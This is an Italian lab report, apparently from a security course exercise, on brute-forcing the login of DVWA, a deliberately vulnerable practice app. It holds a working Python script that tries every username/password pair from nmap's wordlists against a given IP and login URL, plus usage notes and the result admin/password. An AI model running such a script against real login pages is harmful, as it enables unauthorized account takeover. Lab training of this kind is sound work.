Report Brute-force

Valutazione di Sicurezza

Theta Company

1- Brute force-dvwa

```
  GNU nano 6.3                                                    brut-dvwa1.py
import http.client, urllib.parse

username_file = open('/usr/share/nmap/nselib/data/usernames.lst')
password_file = open('/usr/share/nmap/nselib/data/passwords.lst')
user_list = username_file.readlines()
pwd_list = password_file.readlines()

Target = input('Inserisci IP della sistema Target: ')
url = input('Inserisci il url da attacare: ')
for user in  user_list:
    user = user.rstrip()
    for pwd in pwd_list:
        pwd = pwd.rstrip()
        print (user,"-",pwd)
        post_parameters = urllib.parse.urlencode({'username': user, 'password': pwd,"Login": 'Submit'})
        headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml"}
        conn = http.client.HTTPConnection(Target,80)
        conn.request('POST', url,post_parameters, headers)
        response = conn.getresponse()
        print(response.status)
        if(response.getheader('location') == "index.php"):
            print("Logged with:",user," - ",pwd)
            exit()
```

Abbiamo creato una lista di nomi e di password da far usare al programma per forzare una pagina web con login e password. Il programma e costruito in maniera tale che provi tutte le password sulla lista degli user. Per usarlo dobbiamo dare due input al programma la variabile target sta per indirizzo IP, la variabile url sta per il path. Una volta inserite questi due variabili, il programmai inizia a sanzionare tutte le password con tutti i user fin quando non troverà la giusta combinazione. Una volta trovato il user e la password giusti, il programma farà uscire in output ‘ Logged with user e password ’.

Avviato il programma sulla macchina dvwa abbiamo riscontrato che il programma funziona dandoci come user: admin e come password: password.